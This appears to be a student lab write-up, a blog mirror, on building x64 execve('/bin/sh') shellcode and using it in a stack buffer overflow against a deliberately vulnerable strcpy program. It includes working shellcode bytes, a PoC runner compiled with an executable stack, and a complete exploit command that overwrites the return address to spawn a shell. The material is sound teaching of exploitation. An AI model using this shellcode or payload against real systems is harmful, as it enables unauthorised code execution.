zoukankan      html  css  js  c++  java
  • 2019-2020-2 网络对抗技术 20175211 Exp1+ 逆向进阶(x64 shellcode制作及利用)

    x64与x86的区别

    • 64位系统中,不再使用int 0x80来进行系统调用,取而代之的是syscall指令
    • x64的栈不支持push64位的立即数,必须先把常量放到寄存器里再push
    • x64的CPU的地址为64位,但实际上只支持48位的虚拟地址空间供软件使用。虚拟地址的高16位在用户模式下总是被设置为0000,而在内核模式下全置为FFFF
    • x64中当你指定一个大于0x00007fffffffffff的地址时会抛出一个异常。那也就意味着0x4141414141414141会抛出异常而0x0000414141414141是安全的

    shellcode制作

    流程

    • 先使用C这样的高级语言编写程序
    • 反汇编以获取汇编指令
    • 提取出机器码

    编写C程序

    我们使用execve()函数来调用/bin/sh,先了解一下这个函数

    execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。execve()用来执行第一参数字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。从图中可以,如果通过C语言调用execve来返回shell的话,首先需要引入相应的头文件,然后在主函数中调用系统调用函数execve;同时传入三个参数。
    由此编写出如下代码

    #include <unistd.h>
    #include <stdlib.h>
    
    void main()
    {
      execve("/bin/sh",NULL,0);
    }
    

    为了能够之后能够看到反汇编的结果,这次采用的静态编译
    gcc -static -o retsh retsh.c
    运行一下看看效果

    反汇编

    retsh反汇编
    objdump -d main

    继续反汇编execve

    发现先把eax0x3b,也就是59,然后调用syscall指令,去网上搜索syscall调用表
    LINUX SYSTEM CALL TABLE FOR X86 64

    我们用gdb调试一下retsh,在调用syscall之前,寄存器的状态如下,与调用表相符

    编写汇编代码

    我们的目的就很明显了,我直接把最后的汇编代码放出来,好久没写汇编了,也是第一次写x64汇编,有点坑
    编写shellcode.asm

    section .text
    global _start
    _start:
    xor rdx,rdx         ;rdx置0
    xor rsi,rsi         ;rsi置0
    push rdx
    mov rax,'/bin//sh'
    push rax            ;pathname入栈
    mov rdi,rsp         ;rdi指向栈上字符串
    mov eax,0xffffffc5
    neg eax             ;eax置为0x3b
    syscall
    

    坑点1:x64 push

    x64栈肯定也是64位的嘛,所以我一开始直接push '/bin//sh',刚好64位,但是编译的时候报了溢出的warning,我不明白为什么也就没管,到后面运行的时候就会报段错误,我断点看了一下,栈里面居然是这样的,/bin//sh分开来了,后面还各跟了4个0字节

    经过一番搜索,我才知道x64的栈不支持push64位的立即数,必须先把常量放到寄存器里再push

    mov rax,'/bin//sh'
    push rax            ;pathname入栈
    

    坑点2:shellcode中的x00

    shellcode中不可以出现x00,所以改eax的值的时候,不能直接mov eax,0x3b。一个简单的取反操作就可以解决这个问题

    mov eax,0xffffffc5
    neg eax             ;eax置为0x3b
    

    验证

    编译nasm -f elf64 shellcode.asm -F stabs,-f指定文件类型,-F是gdb调试时需要有的信息
    链接ld -o shellcode shellcode.o
    运行

    成功

    提取机器码

    反汇编一下shellcode

    用shell命令提取出机器码
    for i in $(objdump -d shellcode | grep "^ " | cut -f2); do echo -n 'x'$i; done; echo
    得到x48x31xd2x48x31xf6x52x48xb8x2fx62x69x6ex2fx2fx73x68x50x48x89xe7xb8xc5xffxffxffxf7xd8x0fx05

    编写poc.c验证一下

    #include <stdio.h>
    
    int main()
    {
      char shellcode[] = "x48x31xd2x48x31xf6x52x48xb8x2fx62x69x6ex2fx2fx73x68x50x48x89xe7xb8xc5xffxffxffxf7xd8x0fx05";
      int (*func)();
      func = (int(*)()) shellcode;
      (int)(*func)();
    }
    

    编译gcc poc.c -o poc -z execstack,注意这里要设置堆栈可执行

    运行成功,至此我们制作出了自己的x64shellcode

    x64 BOF

    漏洞代码

    pwn.c

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h> 
     
    int main(int argc, char **argv)
    {  
        char buffer[256];
        if(argc != 2)
        {
            exit(0);
        }
        printf("%p
    ", buffer);
        strcpy(buffer,  argv[1]);
        printf("%s
    ", buffer);
        return 0;
    } 
    

    编译gcc pwn.c -o pwn -z execstack -no-pie,这里要打印出buffer的基址,要不然我们不知道字符串在栈上的位置

    触发bof

    首先我们来确认一下确实可以让这个进程崩溃
    ./pwn $(python -c 'print "A" * 300')

    接下来看看我们能否控制rip

    用gdb单步调试,在调用strcpy之后,查看一下rsp,可以看到buffer是从0x7fffffffdf20开始的;

    段错误时rsp0x7fffffffe028

    然而,x64中当你指定一个大于0x00007fffffffffff的地址时会抛出一个异常。那也就意味着0x4141414141414141会抛出异常而0x0000414141414141是安全的,所以这次尝试中我们没有成功覆盖rip

    控制rip

    虽然刚刚没有覆盖成功,但是只要我们控制好字符串长度,应该还是可以控制rip的。根据刚刚strcpy后的栈顶和退出程序时的栈顶,可以算出栈上buffer长度为0x7fffffffe028 - 0x7fffffffdf20 = 0x108,也就是264。接下来构造"A"*264 + "B"*6试试看
    gdb

    run `python -c '"A"*264 + "B"*6'`
    

    rip成功变成0x424242424242

    注入shellcode并getshell

    这里栈上空间足够大,我们可以用shellcode + nop + retaddr的方法注入shellcode

    cat|./pwn `python -c 'payload="x48x31xd2x48x31xf6x52x48xb8x2fx62x69x6ex2fx2fx73x68x50x48x89xe7xb8xc5xffxffxffxf7xd8x0fx05";print payload+"A"*(264-len(payload)) + "x7fxffxffxffxdfxa0"[::-1]'`
    

    完美完成任务。
    注意一下最后的地址要根据pwn打印出的基址进行调整,因为系统里的环境和gdb中是不一样的。

    参考链接

    【干货分享】手把手简易实现shellcode及详解
    64bit-overflow.pdf
    LINUX SYSTEM CALL TABLE FOR X86 64

  • 相关阅读:
    Axel linux下多线程下载工具
    使用Scala编写Spark程序求基站下移动用户停留时长TopN
    编写Spark的WordCount程序并提交到集群运行[含scala和java两个版本]
    使用Eclipse编译运行MapReduce程序 Hadoop2.6.0_Ubuntu/CentOS
    Eclipse上Hadoop插件中Run On Hadoop原理[转]
    apache官方中文hadoop说明文档地址
    如何在Windows下面运行hadoop的MapReduce程序
    通过web界面查看hadoop集群运行日志的地址
    linux命令-查看当前目录下所有文件的大小:“ll -h”
    BZOJ3979 : [WF2012]infiltration
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/12466853.html
Copyright © 2011-2022 走看看